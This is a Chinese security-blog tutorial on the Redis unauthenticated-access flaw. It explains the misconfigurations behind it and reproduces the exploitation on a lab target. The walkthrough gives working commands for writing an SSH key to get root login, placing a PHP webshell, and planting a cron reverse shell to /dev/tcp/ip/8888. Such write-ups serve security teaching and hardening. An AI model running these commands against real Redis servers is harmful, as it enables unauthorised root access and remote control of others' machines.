标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3319] 作者: 小螺号 发表于: [2023-08-19] [2023-08-19]被用户:小螺号 修改过
本文共 [95] 位读者顶过
redis未授权访问漏洞漏洞原理1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。[出自:jiwo.org]2.没有设置密码认证(一般为空)或者设置弱口令密码,导致任何用户可以远程登录redis服务。
意思大概就是,由于管理者配置不当,导致任何人都可以(通过redis客户端)登录他的redis服务,然后搞事情。 比如删数据、写入一句话木马、上传公钥登录ssh服务、反弹shell 管理者如何配置不当?1.没有设置密码,或者设置密码为弱口令2.没有开启防火墙 3.将6379端口直接暴露在公网上,允许任何人访问 4.将将protected-mode设置为no,把保护关掉。 5.用管理员身份运行redis服务 漏洞环境ubuntu下的的redis漏洞复现1.扫描靶机端口,看是否开放6379端口2.发现6379开放,且是redis服务,于是用redis客户端直接连接,看是否存在密码。使用info命令i查看基本信息。 发现没有密码,可以直接登录,info命令有回显。证明存在redis未授权访问漏洞。
利用方式一写入SSH公钥实现ssh登录1.到~/.ssh目录下,生成自己的公钥 ssh-keygen -t rsa 2.将公钥写入一个txt文件 (echo -e"\n";cat id_rsa.pub;echo -e "\n")>1.txt 3.将公钥中的内容作为值写入到hack中 cat 1.txt | ./redis-cli -h ip -p 6379 -x set hack 4.连接redis服务 ./redis-cli -h ip -p 6379 5.更改redis备份路径为ssh公钥存放目录 config set dir /root/.ssh 6.设置上传公钥的备份文件名字为authorized_keys,保存,退出 config set dbfilename authorized_keys save exit 7.尝试登录 ssh -i id_rsa root@ip 登录成功!权限为root 利用方式二写入一句话木马config set dir /var/www/html/ config set dbfilename shell.php set x "" 或者: set shell "\r\n\r\n\r\n\r\n" save 访问成功 用蚁剑连接 连接成功! 利用方式三反弹shellredis-cli -h 192.168.217.130 //写入反弹命令 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/8888 0>&1\n\n" config set dir /var/spool/cron/crontabs/ config set dbfilename root save 结束! 基础知识杀死redis进程1. ps -ef|grep redis 示例: [root@iz2ze5w0d1f4lqljfb9ld0z ~]# ps -ef | grep redis root 12745 11480 0 15:01 ? 00:00:00 ./redis-server *:6379 root 14769 14731 0 15:17 pts/6 00:00:00 grep --color=auto redis 2. kill -9 pid 示例: kill -9 12745 redis基础语法/etc/init.d/redis-server stop /etc/init.d/redis-server start /etc/init.d/redis-server restart ———————————————— |